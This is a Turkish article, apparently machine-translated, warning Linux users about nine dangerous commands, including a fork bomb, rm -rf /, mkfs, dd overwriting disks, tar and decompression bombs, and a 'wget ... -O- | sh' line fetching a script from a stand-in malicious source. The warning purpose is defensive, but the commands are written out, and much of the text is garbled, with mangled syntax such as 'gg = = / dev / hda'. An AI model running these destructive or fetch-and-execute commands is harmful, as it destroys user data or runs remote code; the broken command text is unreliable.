Anasayfa » Masaüstü » 9 Dikkat Edilecek Linux Komut ve Kodları

    9 Dikkat Edilecek Linux Komut ve Kodları

    Linux kabuk / terminal komutları çok güçlü ve sadece basit bir komut, birinin bir klasörü, dosyaları veya kök klasörü vb. silmesine yol açabilir..

    Bazı durumlarda, Linux sizden onay istemeyecektir, bunun yerine hemen komutun yerine getirilmesine neden olacaktır. değerli veri ve bilgileri kaybetmek bu dosya ve klasörlerde saklanır.

    İnsanların web’de içerik yayınlaması yaygındır. Yeni Linux kullanıcılarına bu komutları uygulamalarını tavsiye etme. Bu, içeriği yayınlayan biri için şaka gibi görünebilir ancak diğer taraftaki kişi için gülünç bir sorun değildir.

    Sisteminizden, bunlardan kaçınmanıza yardımcı olacak oldukça zararlı bazı Linux komutları topladık. Gerçekten tehlikeli olduklarını ve yeni komutlar üretmek için çeşitli şekillerde bile değiştirilebilir daha fazla zarar vermek.

    Unutulmaması gereken önemli bir şey Bu komutların bazıları sadece Ubuntu'da sudo ile önceden yazılmışlarsa tehlikelidir. Linux'un diğer dağıtımlarında, verilen bu komutların çoğu, root olarak çalıştırılması tehlikeli olacaktır..

    Bir göz atın 9 komut ve kod çalıştırmaktan kaçınmalısınız.

    1. Linux Çatal Bomba Komutanlığı

    : () : |: & ;: Ayrıca şöyle bilinir Çatal bomba Linux Sistemine yönelik hizmet reddi saldırısı. : () : |: & ;: bir bash işlevidir. Bir kez idam edildi, sistem donuncaya kadar birden çok kez tekrar eder.

    Ondan ancak sisteminizi yeniden başlatarak kurtulabilirsiniz. Bu komutu Linux kabuğunda çalıştırırken dikkatli ol..

    2. mv klasörü / dev / null Komutanlığı

    mv klasörü / dev / null başka bir riskli komut. Dev / null veya boş aygıt olduğu Üzerine yazılan tüm verileri ayan ancak yazma işleminin başarıyla yürütüldüğünü bildiren bir aygıt dosyası. Olarak da bilinir biraz bozuk veya Kara delik.

    3. rm -rf komutu

    rm -rf komut hızlı bir yoldur bir klasörü ve içeriğini sil Linux işletim sisteminde. Nasıl düzgün kullanılacağını bilmiyorsanız, sistem için çok tehlikeli olabilir. Rm-rf komutuyla kullanılan en yaygın kombinasyonlar ve seçenekler aşağıda listelenmiştir:

    • rm Linux sistemindeki dosyaları silmek için komut kullanılır..
    • rm -f komutu klasördeki salt okunur dosyaları sormadan siler.
    • rm -r komutu bir klasörün içeriğini yinelemeli olarak siler.
    • rm -d boş bir dizini kaldırmak için komut kullanılır, ancak boş değilse dizini kaldırmayı reddeder.
    • rm -rf / root dizininde ve alt klasörlerdeki tüm içeriğin zorla silinmesi için kullanılır (yazmaya karşı korumalı olsa bile silinir).
    • rm -rf * komut, geçerli dizindeki (o anda çalışmakta olduğunuz dizin) ve alt klasörlerdeki tüm içeriğin zorla silinmesi için kullanılır..
    • rm -rf. komut, geçerli klasördeki ve alt klasörlerdeki tüm içeriğin zorla silinmesi için kullanılır. rm -r. [^.] * komut da kullanılabilir.
    • rm dosya ve klasörlerin kaldırılması için komut kullanılır ancak kaldırmadan önce bir komut istemi görünecektir..

    4. mkfs komutu

    mkfs amacını bilmiyorsanız Linux tabanlı sisteminiz için tehlikeli bir komut olabilir. Mkfs'den sonra yazılan her şey formatlanacak ve boş bir Linux dosya sistemi ile değiştirilecektir.

    Aşağıda belirtilen tüm komutlar sabit sürücüyü biçimlendirir ve yönetici hakları gerektirir:

    • mkfs
    • mkfs.ext3
    • mkfs.bfs
    • mkfs.ext2
    • mkfs.minix
    • mkfs.msdos
    • mkfs.reiserfs
    • mkfs.vfat

    Komuta mkfs.cramfs yukarıdakiyle aynı şeyi yapacaktır ancak yürütmek için yönetici hakları gerektirmez.

    5. Katran Bombası

    katran komutu, birden fazla dosyayı tek bir dosyada (arşivlenmiş dosya) birleştirmek için kullanılır. .katran biçim. Bu komutla bir Teyp Arşivi (Tar) bombası oluşturulabilir.

    Bu mevcut dosyalara benzer adlara sahip isimleri binlerce ya da milyonlarca dosyaya aktaran bir klasör. yerine getirilmediğinde yeni bir dizine girmek yerine.

    Tar bomba kurbanı olmaktan kaçınabilirsiniz. tar dosyasını aldığınızda düzenli olarak yeni bir koruyucu dizin oluşturabilirsiniz ve daha sonra, başlatılmadan önce alınan tar dosyasını bu dizine taşıma.

    Eğer tar dosyası gerçekten bir tar bomba ise, ondan kurtulmak için yeni oluşturulan dizini kaldırabilirsiniz. Katran bombasının patlamasını önlemenin başka bir yolu da -t tar dosyasının tüm içeriğini listeleme seçeneği tar dosyasının içinde bulunan içeriğin türü hakkında bir fikir vermek için.

    6. dd komutu

    gg komut için kullanılır sabit disk bölümlerini kopyala ve dönüştür. Ancak yanlış hedefi belirlerseniz zararlı olabilir..

    Komut bunlardan biri olabilir:

    • gg = = / dev / hda = / dev / hdb
    • dd eğer = / dev / hda = / dev / sdb
    • gg eğer = bir şey = / dev / hda
    • gg eğer = bir şey = / dev / sda

    Aşağıdaki komut birincil sabit sürücünün tamamını sıfırlar: gg = = / dev / sıfır = / dev / had

    7. Kabuk Betiği Kodu

    Birisi seni mağdur edebilir sana bir kabuk betiğine link vermek ve onu indirmeni ve yürütmesini onaylıyor. Komut dosyası içinde bazı zararlı veya tehlikeli kodlar içerebilir. komut biçimi şuna benzeyebilir: wget http: // some_malicious_source -O- | sh. wget sh kod yürütme işlemini indirirken komut dosyasını indirir.

    8. Kötü Amaçlı Kaynak Kodu

    Birisi size kaynak kodunu verir ve sizden derlemenizi ister. Kod normal bir kod gibi görünebilir ancak aslında büyük kaynak kodunda bazı kötü amaçlı kodlar gizlenmiştir. ve sisteminize zarar verebilir. Bu tür bir saldırının mağdur edilmesini önlemek için, kaynak kodunuzu yalnızca güvenilir kaynaklardan kabul edin ve derleyin.

    9. Dekompresyon Bombası

    Sıkıştırılmış bir dosya aldınız ve sizden boyutu çok küçük olan fakat bir kaç KB olan bu dosyayı çıkarmanız isteniyor. Aslında, bu küçük boyutlu sıkıştırılmış dosya çok yüksek oranda sıkıştırılmış veri içeriyor.

    Dosya sıkıştırıldıktan sonra, yüzlerce GB veri sabit sürücünüzü doldurabilir sisteminizin performansını düşürmek için. Bu durumdan kaçınmak için her zaman güvenilir kaynaklardan gelen verileri kabul etmeyi unutmayın..